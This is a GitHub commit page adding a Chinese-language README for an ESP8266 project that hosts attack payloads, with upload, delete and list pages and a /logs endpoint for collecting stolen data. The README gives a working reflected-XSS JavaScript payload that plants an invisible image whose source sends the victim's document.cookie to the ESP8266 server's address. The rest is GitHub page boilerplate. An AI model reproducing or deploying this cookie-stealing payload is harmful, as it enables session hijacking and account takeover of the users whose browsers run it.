-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
wangqinghua
committed
Jun 8, 2021
1 parent
8c0d68f
commit 9fc8e2c
Showing
12 changed files
with
66 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
/hiden/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,62 @@ | ||
# ESP8266-remote-payloads | ||
|
||
### esp8266闪存文件应用 | ||
|
||
<a href="https://www.bilibili.com/video/BV1L7411c7jw?p=8">详见太极创客</a> | ||
|
||
### 使用的esp8266模块: | ||
|
||
其他esp8266模块或开发板应该也行,只要有flash和WebServer库即可。 | ||
|
||
![esp8266.jpg](https://i.loli.net/2021/06/08/Vrw95y4LY1kzfAH.jpg) | ||
|
||
![esp8266.jpg](./img/esp8266.jpg) | ||
|
||
### /index.html页面: | ||
|
||
![/index.html](https://i.loli.net/2021/06/08/5CoSbF3MKuztxWl.png) | ||
|
||
![/index.html](./img/index.html.png) | ||
|
||
### /upload.html页面: | ||
|
||
上传的文件将被存储在“/payloads/”根目录下。 | ||
|
||
![upload.html](https://i.loli.net/2021/06/08/mM9sjIRXbLViqdW.png) | ||
|
||
![/upload.html](./img/upload.html.png) | ||
|
||
### /delete.html页面: | ||
|
||
只需要输入文件名如“logs”即可删除“/payloads/”+文件名如“/payloads/logs”文件,文件名不能包含“..”! | ||
|
||
![/delete.html](https://i.loli.net/2021/06/08/f3bDPRt5yzhEQu2.png) | ||
|
||
![/delete.html](./img/delete.html.png) | ||
|
||
### /list操作: | ||
|
||
列出/payloads/根目录下的所有文件夹和文件。 | ||
|
||
![/list](https://i.loli.net/2021/06/08/t3L1FzMJRN2GAni.png) | ||
|
||
![/list](./img/list.png) | ||
|
||
### /logs操作: | ||
|
||
参数(GET或POST)将会被追加在/payloads/logs文件中,用于反射型XSS漏洞获取Cookie等。 | ||
|
||
xss_reflect.js举例: | ||
|
||
```js | ||
//通过指定的名称'img'创建img元素 | ||
var img = document.createElement('img'); | ||
img.width = 0; | ||
img.height = 0; | ||
|
||
//将img元素的src属性指向脚本文件xss_reflect.php | ||
//将cookie信息的字符串作为URI组件进行编码,然后用ck参数传递 | ||
img.src = 'http://192.168.1.103/logs?cookie='+encodeURIComponent(document.cookie); | ||
//将192.168.1.103换成你esp8266服务器的地址 | ||
``` | ||
|
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters